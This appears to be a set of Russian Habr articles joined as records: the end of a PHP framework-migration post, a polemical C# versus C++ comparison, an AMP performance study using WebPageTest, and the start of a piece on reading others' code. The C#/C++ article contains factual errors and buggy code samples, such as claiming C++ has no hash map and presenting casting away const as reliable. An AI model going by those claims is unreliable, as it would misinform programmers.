Оба этих фреймворка полностью поддерживают PSR-7 и PSR-11.
Почему не Lumen? Главная причина конечно же в том, что Lumen сложно назвать “микро” вкупе со всем этим [добром](https://github.com/laravel/lumen-framework/blob/5.5/composer.json#L19-L43). Встроить Lumen в существующий проект сложно. Контейнер зависимостей легко не подменишь (необходимо соблюдение контракта illuminate). Контракт PSR-7 фреймворк поддерживает, но все равно зависит от [symfony/http-foundation](https://github.com/illuminate/routing/blob/v5.5.0/RoutingServiceProvider.php#L127).
Сначала я всерьез взялся за Zend. Но потратив 2 дня, посмотрев на реализацию приложения в идеологии "все middleware", увидев как формируется конфиг контейнера, я с ужасом представил как буду объяснять менее опытным разработчикам чем invokables отличается от factories, и когда писать aliases. Перфекционистам и академикам Zend должен прийтись по нраву. Приложение работает через pipeline и middleware. Но я испугался более высокого порога входа, в то время как переезд должен был быть легким, в идеале незаметным.
Затем я переключился на Slim. Его внедрение в проект заняло меньше дня. Выбор контроллеров (старого и новго образца) был реализовано через middleware. На Slim и остановился. В далеких планах перейти на pipeline с PSR-15 middleware.
#### Выбор контейнера
Здесь я просто скажу что остановился на [league/container](https://github.com/thephpleague/container), и попытаюсь объяснить свой выбор.
1. Это поддержка PSR-11.
Сейчас большинство контейнеров уже поддерживают PSR-11, но год назад лишь малая часть поддерживала container/interop интерфейс.
2. Autowiring.
3. Синтасис довольно прост, в противопоставление тому же [zend-servicemanager](http://zendframework.github.io/zend-expressive/features/container/zend-servicemanager).
4. Сервис провайдеры, позволяющие писать модули еще более изолированно.
В illuminate/container провайдеры регистрируются на уровне приложения, а в league/container провайдеры регистрируются на уровне контейнера. Таким образом приложение зависит только от контейнера, а контейнер зависит от сервис провайдеров.
5. Делегирование контейнеров. Эта ”фича” оказалась решающей для этапа замены контейнера, поэтому раскрою ее подробнее.
При желании внутри league/container может быть несколько PSR-11 совместимых контейнеров.
Возможный сценарий: вы решили сменить ваш старый контейнер на [symfony/dependency-injection](https://github.com/symfony/dependency-injection). Чтобы переходить постепенно вы можете подключить league/container и в делегаты поместить и ваш старый контейнер и контейнер symfony. При поиске сервиса ваш старый контейнер будет опрашиваться самым первыми, затем будет поиск в контейнере symfony. На следующем этапе вы сможете перенести описания всех сервисов в контейнер symfony и оставить только его. Так как код зависит от PSR-11 интерфейса — изменения минимальны.
#### Выбор абстракции над HTTP
Тут всего 3 варианта:
* [symfony/psr-http-message-bridge](https://github.com/symfony/psr-http-message-bridge)
* [zendframework/zend-diactoros](https://github.com/zendframework/zend-diactoros)
* [Реализация slim](https://github.com/slimphp/Slim/tree/3.x/Slim/Http)
Кстати Slim [движется](https://github.com/slimphp/Slim-Http) к выделению реализации HTTP в отдельный пакет(ожидается в ветке 4.0).
Symfony bridge использовать не хотелось по причине лишнего кода и лишней зависимости. Так как Slim ни в чем нас не ограничивает, предпочтение было отдано реализации Zend. Это только увеличило независимость кода приложения от HTTP слоя.
#### Логированиe
Тут ничего кроме monolog в голову не приходит. Его и прикрутили. Во время разработки бывают полезны [PHPConsoleHandler](https://github.com/Seldaek/monolog/blob/master/src/Monolog/Handler/PHPConsoleHandler.php) и [ChromePHPHandler](https://github.com/Seldaek/monolog/blob/master/src/Monolog/Handler/ChromePHPHandler.php)
#### Роутинг
Slim из коробки имеет FastRoute. На его основе появились именованные роуты. Генерация URL реализована через глобальный хелпер ([Как здесь](https://github.com/laravel/framework/blob/5.5/src/Illuminate/Foundation/helpers.php#L780))
#### Ну и что изменилось?
Сейчас наш контроллер выглядит так:
```
php
namespace Controllers;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Message\ResponseInterface;
use Zend\Diactoros\Response\JsonResponse;
use Domain\Car\Services\CarService;
class AwesomeController
{
/**
* @var CarService
*/
private $carService;
public function __construct(CarService $carService)
{
$this-carService = $carService;
}
public function actionUpdateNameCar(ServerRequestInterface $request, $carId): ResponseInterface
{
if ($carId <= 0) {
throw new BadRequestException('Машина не найдена');
}
$car = $this->carService->getCar($carId);
$name = $request->getParsedBody()['name'];
$this->carService->updateNameCar($car, $name);
return new JsonResponse([
'message' => 'updateNameCar выполнено'
]);
}
}
```
Разумеется, в реальном коде вещи вроде `$request->getParsedBody()['name']` и `new JsonResponse` вынесены на еще один уровень абстракции с дополнительными проверками.
В качестве бонуса: в зависимости от окружения есть возможность подменять сервисы в контейнере и запускать функциональные тесты.
#### В заключение
Как вы видите, много практик с идеологией “так проще” позаимствовано из Laravel. Он действительно задает тренды.
Приложение получило новый фреймворк уже после того, как проработало 7 лет. Насколько я знаю, старый самописный фреймворк также появился не сразу. И никто не даст гарантий, что мы не захотим сменить фреймворк через 5 лет. Поэтому код писался максимально независимым от выбранного фреймворка. Бизнес логика и прежде не зависела от приложения, а теперь и контроллеры не зависят от фреймворка. Контроллеры зависят от PSR-7 совместимых запросов и возвращают PSR-7 ответы. А собираются контроллеры приложением, зависящим от PSR-11 совместимого контейнера.
Slim работает через middleware и добавлять общую логику стало проще (Логирование ошибок приложения, обработка ошибок пользовательского ввода). Autowiring контроллеров прекрасно работает, по сути контроллеры стали сервисами.
Кстати [здесь](https://github.com/PHP-DI/Slim-Bridge/blob/master/src/ControllerInvoker.php#L47) можно подсмотреть пример включения autowiring в slim.
Конечно, приложение продолжает развиваться и уже перешло на стандартные интерфейсы кэширования и событий, но их внедрение было чуть менее кроваво:). | https://habr.com/ru/post/337692/ | null | ru | null |
# Сравнительный анализ языков C# и C++
Давайте взглянем на эти два языка внимательнее. Что важно для прилежного программиста? Чтобы его код был удобочитамым, дабы в любой момент, спустя любое время можно было изменить этот код.
C++
---
Чему учит нас C++, что он нам говорит, какие парадигмы он воздвигает?
1. Что можно именовать типы, методы и переменные маленькими буквами
```
std::list L;
L.push\_back(50);
L.push\_front(-50);
```
Вы спросите, что же плохого в именовании элементов маленькими буквами?
А то, что, во-первых, C++ не различает контекст типа и контекст переменной и функции! И вы не можете никак взять и объявить поле, скажем, size size или point point! Поэтому, имеет смысл именовать функции и переменные маленькими буквами, но только если тип именуется в стиле C#, а именование типа маленькими буквами портит весь смысл такого действия! А смысл заключается в невозможности пересечения имени типа и его членов!
Ну, а во-вторых, именование как C#, выглядит солиднее, красивее.
Хотя, конечно, вы можете именовать именно так как сейчас предложено, но не факт, что другие будут следовать этому правилу.
2. Что можно сокращать так, что будет непонятно тому, кто использует ваш код, но зато «быстро печатается». Или сокращать, но все же понятно.
Вот лишь некоторые методы из стандартной библиотеки:
```
std::string s; s.rfind(); s.c_str();
std::fstream fs; fs.copyfmt(); fs.rdbuf();
```
Вы что-нибудь поняли? Что есть «rfind» и почему не «find», что это за r такая? Что такое «c\_str»? Нужно посмотреть документацию, чтобы понять, что это превращение строки в «строку как в С» — массив-указатель на символы…
3. Что можно использовать макросы, как универсальное средство решения проблем. При этом намеренно забывается, или умалчивается, что эти макросы можно легко заменить, и что они глобальны, не входят в какое-либо пространство имён.
Вот например:
```
#define foreach(x,c) for(auto x = c.begin(); x != c.end(); x++)
#define min(x,y) ((x)<(y) ? (x) : (y))
#define true false
#define NULL 1
```
Обратите также внимание на то, что если параметры параметризованного макроса не обставлять скобками, то все вычисления с этим макросом легко испортятся! А дело в том, что параметры раскрываемого макроса воспринимаются как текст (!), и если не поставить скобки, то мы получим примерно такие варианты:
```
a = b * min(x,y); //==> a = b*x < y ? x : y;
a = min(5,3*k)*100; //==> a = 5 < 3*k ? 5 : 3*k*100;
```
Согласитесь, это не то, что мы ожидали! И только познавшие эту хитрость макросов с параметрами на своем горьком опыте, долгих мытарствах и восклицаниях: «боже, что я не так сделал!» (или прочитавшие документацию к языку), пишут такие макросы правильно (и то, нужно быть очень внимательным!).
4. Что вы сами, сами! ‒ должны делать многие вещи, которые в C++ поленились сделать.
* Не реализована нормальная работа стека. Я до сих пор не понимаю, как он работает! А где взять привычный нам хеш (словарь/карту)?
* Выделение памяти (new/malloc) жутко тормозит! Вы сами, сами! должны делать управлятель памятью (ничего себе задача!), либо довольствоваться медленной работой
* Не реализованы элементарные классы — класс «Массив», класс «Двумерный массив» и класс «Трехмерный массив».
* Не созданы преобразования базовых типов: строковых и числовых (в том числе и логических), их надо делать самому (хотя, есть для этого возможности)
И таких вещей много еще. Конечно, можно найти и готовые решения. Но неизвестно, какого они качества будут, найдете ли вы их вообще; к тому же, их нужно будет подстроить под свой стиль.
5. Что можно свободно баловаться с указателями и даже с константными указателями, надо лишь правильно преобразовать типы. Взгляните:
```
void Func(const int* x) {
((int*)x)[0] = 5;
}
int main() {
int m = 500;
Func(&m);
std::cout << m <<'\n';
return 0;
}
```
И что же выведется у нас? 5! Константный параметр изменил свое значение! Так можно любые константные указатели менять, даже строковые или числовые (правда их изменение влечет ошибку обращения с памятью). Или вот:
```
struct T {
int M,N;
T(int m, int n) {
M = m; N = n;
}
};
int main() {
static const T t = T{5,3};
((T*)(&t))[0] = T(-1,-5);
std::cout << t.M <<" "<< t.N << "\n";
return 0;
}
```
Здесь изменяется статическая константа структурного типа! То есть, та, в чьей неизменяемости мы уверены на все 100%! «А вот нет!» — говорит на C++. И выводится именно изменённое значение константы.
6. Что можно вываливать содержимое перечислений в общий контекст! При чем, без включения стандарта C++11, мы не сможем сделать иначе.
Это ужасно! Взгляните на это:
```
enum Month {
JANUARY,FEBRUARY,
MARCH,APRIL,MAY,
JUNE,JULY,AUGUST,
SEPTEMBER,NOVEMBER, DECEMBER
};
...
Month m = JANUARY;
...
switch(x) {
case JANUARY:
case FEBRUARY:
}
```
А если элементы пересекаются — присутствуют и в одном, и в другом перечислении (например, такие вполне могущие повторяться «NORMAL», «DEFAULT»)? Что тогда?.. C++ попускает вызов перечислений именно таким образом! Ленивые распущенные программисты C++ скажут: «А что, также быстрее пишется, также можно!», им невдомёк, что это распущенность, как невдомёк тем, кто ходит на современные российские комедии («А что, это прикольно, как в жызни!»)!
Даже если вы хотите правильно вызвать (допустим, вы порядочный программист C++, использующий чей-то код), то получается и вовсе некрасиво, уродливо ‒ получается сочетание константного стиля (элемент) и стиля C# (имя перечисления), и вы вынуждены писать без имени перечисления, дабы было хотя бы красиво.
Хотя, конечно, вы можете быть порядочным и именовать элементы перечисления правильно (как сами перечисления (здесь, вообще, врятли будет пересечение имени типа и его элемента, потому может быть одинаковый стиль, что предпочтительнее, т.к. красивее)) и не вываливать элементы в контекст, даже запрещая это добавлением слова «class» после ”enum" (стандарт C++11). Но не факт и здесь, что остальные будут такими же порядочными и соблюдать правила!
Правильно делать так:
```
enum class Month {
January, February,
March,April,May,
June,July,August,
September,October,November, December
};
```
7. Что вовсе не являются ошибкой такие вещи как:
* не возврат функцией значения, или возврат не во всех условных ветках
* использование не определенной переменной
Зато об этом есть хотя бы предупреждения, но порою забывают прочесть, и они образуются только после компиляции, пока мы их прочтем, может произойти ошибка, ведь мы обычно компилируем с дальнейшим запуском.
И, самая страшная вещь ‒ чтобы подставить на место параметра-ссылки переменную при вызове, не надо никаких дополнительных слов. Это ужасно, так как ведет к тому, что вызов может быть воспринят как вызов без каких-либо изменений параметров. Взгляните:
```
void F(int& x, int& y);
. . .
F(x,y);
void FF(int x, int y);
FF(x,y);
```
Что мы видим? Мы видим, что ЕСЛИ УБРАТЬ ЗНАК ССЫЛКА, ТО ВЫЗОВ НЕ ИЗМЕНИТСЯ. Мы можем не знать, где ссылочный параметр, где параметр-значение! Лишь по смыслу функции или при активации подсказки в IDE мы можем это определить!
#### Подведём итоги
С++ нам говорит: у меня нет некоторых важных вещей, ты должен достать или написать их сам, а еще в нашем «демократическом» языке нет четких правил, живите как хотите!
С++ нас учит: пишите безобразно, развратно, используя макросы, двойные-тройные-четверные подчеркивания, сокращая имена до малопонятных, но быстропечатаемых, вываливая элементы перечислений в общий контекст, свободно обращаясь с указателями, даже изменяя содержимое констант, да и вообще на некоторые вещи мы не будем ругаться прерывая компиляцию, а лишь предупредим вас… Как бы говоря: вам никто не запрещает этого, все ограничения надуманы!
Меж тем, такие учения и парадигмы лишь портят прилежных программистов, к тому же, заставляя их создавать/искать некоторые базовые, необходимые, решения, плохо сказывась на мировоззрении и нервах программиста и ведущие к ухудшении удобочитаемости кода…
C#
--
Но взглянем на C#! Что же он нам говорит, какие парадигмы воздвигает, чему же учит?
1. Что слова в именах типов, функций, переменных начинаются с большой буквы и соединяются без разделителей (благодаря большим буквам слова видны). Это называется стилем C# (другое название ‒ стиль Pascal), представитель верблюжей группы стилей. Что первое слово имени каждой закрытой переменной начинается с маленькой, дабы не путать с открытыми ‒ стиль Java, второй представитель верблюжей группы стилей.
Контекст имен типов отличается от контекста имен функций, переменных и констант. Вы можете объявить поле Size Size или Point Point, и это скомпилируется и можно будет даже правильно использовать (даже сочетать имя поля и имя типа без использования this!)!
```
struct Rect {
Point Point;
Size Size;
// Функции...
Rect(int x,int y,int w,int h) {
Size = new Size(w,h);
Point = new Point(x,y);
}
...
}
Rect r = new Rect(new Point(5,5), new Size(300,200));
```
2. Что никаких сокращений вне контекста функции! Своим стилем именования в стд. библиотеках C# показывает пример остальным ‒ как правильно именовать элементы кода, стиль этот красив и вдохновляет на подвиги. Никаких сокращений, верблюжий стиль с заглавной буквы, никаких подчеркиваний, вы их вообще не найдете! Каждое слово полно, либо является аббревиатурой (что, естественно допускается), также начинающейся с большой, а далее ‒ маленькими.
```
XmlDocument document = new XmlDocument();
Rectangle rect = new Rectangle(300,500,1000,500);
```
3. Возможности макросов урезаны до предела. Можно лишь объявлять и проверять, есть ли такой-то — такой-то макрос, а некоторые макросы объявляются через настройки компилятора. Всё!
```
#define M
...
#if M
double M = 53;
#endif
```
Причём имя макроса и имя элемента (тип/функция/переменная/константа) параллельны, никак не связаны, можно одинаково называть и макрос и переменную (или другой элемент).
Вот какими безопасными могут быть макросы.
4. Что многие, многие вещи уже качественно сделаны в C#, а нормальный, солидный стиль делает их еще и самодокументирующимися, понятными, особенно после прочтения документации.
Полно еще классов и пространств имен в основных сборках, которые еще не изучены вами. И это еще только основные сборки, а есть еще множество других!
В основных сборках сделаны:
* все базовые преобразования между строковым, числовым и логическим типами, преобразования находятся в классе Convert (System)
* Вменяемые коллекции (System.Collections\*)
* Классы Xml (System.Xml\*)
* Сетевые классы (System.Net\*)
* Многопоточность (System.Threading\*)
* Классы по работе с процессами, диагностикой производительности, отладке (System.Diagnostics\*)
* и даже компилятор CodeDom для языков .NET! (System.CodeDom)
* и многое другое
А есть еще много дополнительных, среди них можно выделить 2 основные, используемые в оконных приложениях: System.Windows.Forms\* (по работе с GUI) и System.Drawing\* (по работе с графикой)
Также, есть некоторые полезные встроенные вещи в языке, которых нет в C++:
* встроенная конструкция foreach ‒ перечисление элементов коллекции
* автоматический сборщик мусора, нам не нужно вручную освобождать память, а выделяется очень быстро, и не надо делать собственное управление памятью
* свойства ‒ вместо того, чтобы писать методы доступа, можно писать свойства, которые объединяют в себе два метода доступа и не имеют параметров, все более лаконично, особенно сказывается на красоте интерфейса класса
* всё наследует от объекта и может быть превращено в строку переопределяемым методом ToString()
```
class Example {
int X{get; set;}
int Y{get; set;}
object Object{
get{return object;}
set{object = value==null ? new object() : value;}
}
}
...
foreach(String arg in args) {
Console.WriteLine( arg );
}
...
```
5. Что нельзя просто так взять и побаловаться указателями. Вам нужно для этого разрешить небезопасный код в настройках компиляции и обозначить класс как небезопасный, добавив «unsafe» в список его модификаторов. И только после этого можно будет с ними работать.
Кроме того, невозможно, невозможно! ‒ получить адрес константы или переменной только для чтения, что делает невозможным её изменение! ‒ и мы можем спокойно спать сладким сном, зная, что C# не даст константы и неизменяемые переменные ~~в обиду всяким садистам, ой, то есть,~~ изменять!
```
unsafe class C {
int* n;
static void Main() {
byte* n = (byte*)(5);
n = (byte*)(n+3);
}
}
```
6. Что элементы перечислений остаются в контексте перечислений и не вываливаются в глобальный контекст. И они пишутся (по соглашению) в таком же стиле ‒ стиле C# ‒ как и имя содержащего их перечисления.
```
enum DayOfWeek {
Monday = 1, Tuesday, Wednesday,
Thursday, Friday, Saturday, Sunday
}
```
В C# вообще ни одна функция/переменная/константа не может находиться вне класса.
7. Что многие ошибки, которые программист по невнимательности пропускает, на выявление которых можно определить алгоритм, C# обнаруживает и говорит, что это ошибка, прерывая компиляцию, если эта ошибка влияет на работу, а некоторые остаются как предупреждение, если не влияют. То есть, ошибки по невнимательности.
Среди ошибок:
* возврат значения не во всех условных ветвях, либо отсутствие возврата значения
* использование не определенной переменной
* неявное преобразование большего по размеру в ОЗУ числа в меньшее по размеру в ОЗУ ‒ double==>float / long==>int==>short==>byte и т.п., а также знакового и беззнакового друг в друга: int<=>uint, short<=>ushort и т.п.; а также bool<=>число
* неявное преобразование bool<=>число
* перепрыгивание с одной метки case на другую, если данная не закрыта командой прерывания break, при том, что-то содержит или последняя.
Среди предупреждений:
* не использованная переменная, функция, событие (приватная или локальная)
* не достижимый код ‒ значит, перед ним стоит команда перехода (return/goto/break/continue)
Кроме того, параметры функции могут иметь один из двух модификаторов:
1. ref ‒ передача ссылки, в объявлении и передаче ссылке переменную нужно явно указать это слово впереди.
2. out ‒ то же самое, но переменная еще и может быть не объявлена
```
void F(ref int x,ref int y){ ... }
void O(out float j,out float k){ ... }
...
int x = 0, y = 0;
F(ref x,ref y);
int j,k;
O(out j,out k);
```
И мы при вызове функции можем видеть, где мы передаем ссылку, а где ‒ значение. Это здорово, это хорошее правило языка.
Есть и другие полезные ограничения:
* порядок с операторными функциями ‒ они все обязаны быть статичными
* нельзя создать функцию/переменную/константу вне класса (ведь на любые действия или данные можно найти класс)
#### Подведём итоги
C# нам говорит: программируйте в удовольствие, у меня для этого всё есть: замечательные правила языка, правила именования, а также разные полезные библиотеки.
C# нас учит: используйте правильный стиль именования, забудьте про всякие подчеркивания, они излишни; забудьте про свободно гуляющие глобальные переменные и функции, у нас все находится в классах; не считайте ограничения надуманными, а считайте их правильными и упорядывающими ваше мышление, пишите по правилам и вы обретете нирвану!
Весьма полезные и нужные порядочному программисту учения и парадигмы, отлично сказывающиеся на настроении и мировоззрении и ведущие к порядку в голове и коде.
Вывод
-----
Если вы хотите стать приверженцем развращающей демократии C++, то туда вам и дорога, вы вправе сделать этот выбор. Но если вы готовы постичь нирвану в программировании, сохранить свои нервы, здоровье и здравомыслие, то ваш выбор ‒ C#. | https://habr.com/ru/post/273331/ | null | ru | null |
# Насколько быстр AMP на самом деле?
Проект Accelerated Mobile Pages (AMP) от Google вызвал определённый переполох по идеологическим причинам, но саму технологию так и не разобрали подробно. Несколько недель назад Ферди Кристант писал про [несправедливое преимущество, которое получает контент AMP за счёт предзагрузки](https://ferdychristant.com/amp-the-missing-controversy-3b424031047). Это заставило меня задуматься: насколько хорошо AMP работает *на самом деле*? Я видел тесты как у Ферди, когда сравнивались одна или две страницы, но ещё не встречал всесторонних объективных тестов.
Оценить производительность AMP на самом деле не так просто, чем кажется. Нужно рассмотреть по крайней мере четыре контекста:
1. [Насколько хорошо работает AMP в контексте поиска Google?](#1)
2. [Насколько хорошо работает библиотека AMP как автономный фреймворк?](#2)
3. [Насколько хорошо работает AMP при загрузке из кэша?](#3)
4. [Насколько хорошо работает AMP по сравнению с каноническим документом?](#4)
Насколько хорошо работает AMP в контексте поиска Google?
========================================================
Как отметил Ферди, когда вы переходите по статье AMP из поиска Google, то она загружается мгновенно. Здесь как никогда уместен маленький значок молнии AMP. Но вы не замечаете, что Google обеспечивает такой мгновенный переход за счёт активной предзагрузки документов AMP в фоновом режиме.
В «карусели» поиска это буквально фрейм, куда загружается весь документ AMP. Если вы нажмёте на эту страницу AMP, то она уже загружена в фоновом режиме — и сразу отобразится на экране.
AMP замечательно работает в контексте поиска Google. Как и любая страница, предварительно загруженная в фоновом режиме. Единственное преимущество AMP в этом контексте — *первоначальный запуск, обеспечиваемый Google*.
Другими словами, оценка производительности AMP на основе того, как эти страницы загружаются в результатах поиска, ничего не говорит об эффективности самого AMP, а скорее об эффективности предварительной загрузки контента.
Насколько хорошо работает библиотека AMP как автономный фреймворк?
==================================================================
В своём посте Ферди проанализировал страницу из Scientas. Он обнаружил, что без предварительной загрузки она открывается далеко не мгновенно. На эмуляции 3G статья Scientas AMP показывает вам белый экран в течение 3,3 секунд.
Вы можете подумать, что такое происходит только с одной страницей. Мол, существует большой разброс по скорости и, возможно, Scientas представляет лишь единичный пример. Справедливое замечание, так что давайте разберёмся.
Первым делом я просмотрел новости. Никому не рекомендую это делать, но пришлось.
Когда попадалась статья AMP, я добавлял её URL в таблицу. Неважно, какая тема или с какого сайта: если указан AMP, то ссылка помещалась в таблицу. Единственная фильтрация заключалась в том, чтобы не включать более двух URL с одного домена.
В конце концов, после этой фильтрации получился список из 50 различных статей AMP. Я прогнал их через [WebPageTest](http://www.webpagetest.org/) по эмуляции 3G-соединения на Nexus 5. Каждая страница строилась через AMP, а *также загружалась с сервера-источника*.
AMP состоит из трёх основных частей:
* AMP HTML
* AMP JS
* AMP кэш
Когда мы говорим о библиотеке AMP, то имеем в виду AMP JS и AMP HTML вместе. AMP HTML — это одновременно и подмножество HTML (есть ограничения, что можно и что нельзя использовать), и дополнение к нему (AMP HTML включает в себя ряд пользовательских компонентов AMP и свойств). AMP JS — это библиотека, которая даёт вам эти кастомные элементы, а также производит различные оптимизации для документов на базе AMP. Поскольку в основе лежат HTML, CSS и JS, то вы можете полностью построить документ с помощью библиотеки AMP без использования кэша Google AMP.
Библиотека AMP должна обеспечить определённый уровень согласованности в отношении производительности. По большей части она справляется.
Большинство страниц теста загрузились в пределах разумного диапазона друг от друга. Но на обоих концах спектра наблюдались некоторые отклонения: минимальные значения оказались довольно низкими, а максимальные — пугающе большими.
| Метрика | Мин. | Макс. | Медиана | 90-й процентиль |
| --- | --- | --- | --- | --- |
| Начало рендеринга | 1765 мс | 8130 мс | 4617 мс | 5788 мс |
| Визуально полный вид | 4604 мс | 35 096 мс | 7475 мс | 21 432 мс |
| Индекс скорости | 3729 | 16 230 | 6171 | 10 144 |
| Размер | 273 КБ | 10 385 КБ | 905 КБ | 1 553 КБ |
| Запросы | 14 | 308 | 61 | 151 |
В основном производительность AMP относительно предсказуема. Тем не менее, цифры говорят и о том, что поддержка AMP не даёт 100% гарантии, что страница станет быстрой или лёгкой. Как и с *любой* другой технологией, есть возможность создать документ AMP, который окажется медленным и тяжёлым.
Любое утверждение, что AMP обеспечивает определённый уровень производительности, зависит от отношения к крайностям и от того, что вы считаете «производительностью». Если вы пытаетесь построить весь сайт на основе AMP, то следует понимать: хотя он вряд ли получится слишком раздутым, но и не будет сразу загружаться со скоростью молнии. Для этого потребуется некоторая работа.
По крайней мере, это относится к самой библиотеке. Возможно, кэш AMP покажет значительную прибавку к скорости?
Насколько хорошо работает AMP при загрузке из кэша?
===================================================
Сама библиотека AMP помогает, но не настолько, насколько можно было подумать. Может быть, кэш Google добавит скорости?
Кэш Google AMP — это CDN для доставки документов AMP. Как и большинство CDN, он кэширует документы и применяет к ним ряд оптимизаций. Кэш включает в себя и систему проверки, что документ является допустимым документом AMP. Когда вы видите значок AMP, например, в поиске Google, документ загружается из Google AMP Cache.
Я снова прогнал те же 50 страниц через WebPagetest. На этот раз я загрузил каждую страницу с Google AMP CDN. [Пит Минэн](https://twitter.com/patmeenan) оказал мне услугу и поделился скриптом для WebPagetest, который предварительно разогревает соединения с Google CDN, чтобы результат оказался больше похож на то, что вы увидите в реальности.
`logdata 0
navigate https://cdn.ampproject.org/c/www.webpagetest.org/amp.html
logdata 1
navigate %URL%`
При загрузке из кэша страницы AMP показали заметное улучшение производительности по всем показателям.
| Метрика | Мин. | Макс. | Медиана | 90-й процентиль |
| --- | --- | --- | --- | --- |
| Начало рендеринга | 1427 мс | 4828 мс | 1933 мс | 2291 мс |
| Визуально полный вид | 2036 мс | 36 001 мс | 4924 мс | 19 626 мс |
| Индекс скорости | 1966 | 18 677 | 3277 | 9004 |
| Размер | 177 КБ | 10,749 КБ | 775 КБ | 2,079 КБ |
| Запросы | 13 | 305 | 53 | 218 |
В целом преимущества кэша довольно существенны. Хотя максимальные значения по-прежнему удручают (немного выросший максимум объясняется, в основном, разницей в баннерах в разных тестах). Но среднее по медиане, что соответствует большинству документов AMP, стало лучше по всем показателям.
Улучшение не удивительно, учитывая различные оптимизации производительности, которые автоматически выполняет CDN, в том числе:
* Кэширование изображений и шрифтов
* Ограничение максимального размера изображений
* Сжатие изображений на лету, а также генерация вариантов разного размера с добавлением srcset для них
* Использование HTTP/2 и HTTPS
* Очистка от HTML-комментариев
* Автоматическое включение подсказок для ресурсов, таких как `dns-prefetch` и `preconnect`
Ещё раз стоит отметить, что *ни одна из этих оптимизаций* не требует использования AMP. То же самое делает большинство крупных провайдеров CDN. Вы сами можете автоматизировать все эти оптимизации в процессе сборки.
Я не говорю, что нужно отказаться от кэша Google, просто имейте в виду, что вы можете и должны использовать эти методы оптимизации независимо от того, используете вы AMP или нет. В самом AMP или даже кэше AMP нет ничего уникального.
Насколько хорошо работает AMP по сравнению с каноническим документом?
=====================================================================
Мы убедились, что сама библиотека AMP даёт лишь небольшой прирост производительности, а вот кэш со всеми оптимизациями выводит скорость загрузки на новый уровень.
Один из аргументов в пользу AMP состоит в том, что с его помощью не нужно быть «экспертом», чтобы сделать производительный сайт. Хотя я бы поспорил с тем, что многие увиденные нами сайты можно назвать «производительными», но есть смысл сравнить документы AMP с их каноническими эквивалентами.
Для следующего раунда тестирования я взял каноническую версию каждой страницы и проверил её при тех же условиях. Оказалось, что чаще всего AMP-документы превосходят по производительности свои эквиваленты без AMP, что говорит о недостаточной оптимизации последних.
| Метрика | Мин. | Макс. | Медиана | 90-й процентиль |
| --- | --- | --- | --- | --- |
| Начало рендеринга | 1763 мс | 7469 мс | 4227 мс | 6298 мс |
| Визуально полный вид | 4231 мс | 108 006 мс | 20 418 мс | 54 546 мс |
| Индекс скорости | 3332 | 45 362 | 8152 | 21 495 |
| Размер | 251 КБ | 11 013 КБ | 2762 КБ | 5229 КБ |
| Запросы | 24 | 1743 | 318 | 647 |
Забудем на секунду о кэше Google и снова сравним библиотеку AMP с каноническими страницами.
В метриках «Начало загрузки» и «Индекс скорости» не заметно особой пользы от библиотеки. Фактически, начало рендеринга в документах AMP происходит даже *медленнее*.
Это не слишком удивительно. Как упоминалось выше, документы AMP используют библиотеку AMP JS для многих оптимизаций и загрузки ресурсов. Когда вы полагаетесь на этот JavaScript для отображения страницы, то сразу получаете удар по показателям визуализации. Это наблюдается до тех пор, пока в игру не вступает кэш AMP, который возвращает нормальные показатели для начала рендеринга и индекса скорости.
Впрочем, по другим показателя AMP явно превосходит каноническую версию.
Увеличение производительности.…но для кого?
===========================================
Вердикт по эффективности AMP немного неоднозначен. С одной стороны, при всех равных применение AMP не обязательно даёт ускорение загрузки страницы. Нет никакой гарантии, что AMP не замедлит и не зажуёт ваши данные.
С другой стороны, документы AMP обычно быстрее оригинальных версий. Более эффективное распределение загрузки в AMP значительно сокращает накладные расходы. Внезапно издатели, которые любят включать сторонние скрипты на канонические страницы, резко уменьшают (по крайней мере, их заставляют сделать это) количество сторонних скриптов для страниц AMP.
Самое большое преимущество AMP — это не библиотека, потому что её функции можно реализовать самостоятельно. Это не кэш — многие его оптимизации реализуются через хороший скрипт сборки, и все они есть у любого достойного поставщика CDN. Это не значит, что в библиотеке AMP JS или кэше нет действительно правильных вещей — они есть. Просто не они дают самую большую разницу с точки зрения производительности.
Главное преимущество AMP — это ограничения на то, сколько контента можно втиснуть на одну страницу.
Например, вот график, показывающий все запросы для одной и той же страницы, написанной под требования AMP (справа), по сравнению с канонической версией (слева). Прошу прощения за необходимость прокрутки.
*Сравнение графиков загрузки для канонической версии статьи (слева) и версии AMP (справа). Ограничения AMP сводят к минимуму количество запросов*
Размер страниц в 90-м процентиле для канонической версии составляет 5229 КБ. Размер в 90-м процентиле для документов AMP из того же источника — 1553 КБ, разница около 70%. Количество запросов в 90-м процентиле для канонических версий страниц — 647, для документов AMP — 151. Сокращение почти на 77%.
Ограничения AMP реально уменьшают размер страниц и убирают с них посторонний хлам. Издатели готовы пойти на эту уступку ради услуг по распространению контента от Google, но не решаются сделать это для канонических версий страниц.
Если мы оцениваем AMP с точки зрения ускорения Сети, то доказательства не особо убедительны. У всех сайтов версия AMP работает *в дополнение* к версии без AMP.
Абсолютно. У всех. Сайтов.
И обычно эти версии без AMP тяжёлые и медленные. Если вы читаете новости на этих сайтах и специально не нажимали на кнопочку AMP, то AMP ничем не улучшит загрузку страниц. AMP не решает основную проблему; он просто её немного скрывает.
Время покажет, изменится ли что-нибудь. Возможно, как и в начале перехода от мобильных сайтов `http://m.` к адаптивным сайтам, издатели медленно запрягают. Но прямо сейчас похоже, что призывы к переходу на AMP выполняют именно то, что вы думаете: они продвигают AMP, а не производительность. | https://habr.com/ru/post/353256/ | null | ru | null |
# Что можно найти в чужом коде? Подборка полезных материалов по .NET
Привет, Хабр! Наш коллега, Скотт Хансельман, считает, что в рамках изучения языка программирования важно не только кодить и практиковаться в написании, но и изучать чужой код. «Читайте чужой код» говорит Скотт и приводит полезные материалы, которые он нашел в наработках своего коллеги. Подробнее под катом!
*Передаю слово [Скотту Хансельману](https://www.hanselman.com/).* А вы согласны с ним?
Лучший подход к изучению языка программирования – не только писать больше кода, но и [знакомиться с его примерами](https://www.hanselman.com/blog/GivenILikeReadingSourceCodeByTheFireWithMySmokingJacketAndBrandySnifterAListOfBooks.aspx)! Не всегда это будут примеры образцового кода, и многое из увиденного вам не пригодится, но это отличный способ расширить кругозор.
Я считаю, что на самом деле чтению кода не уделяют должного внимания. Возможно, не хватает чистых баз кода.
Поэтому я был приятно удивлен, когда обнаружил базу кода, названную Джимми Богардом [Contoso University](https://github.com/jbogard/ContosoUniversityDotNetCore-Pages?WT.mc_id=-blog-scottha).
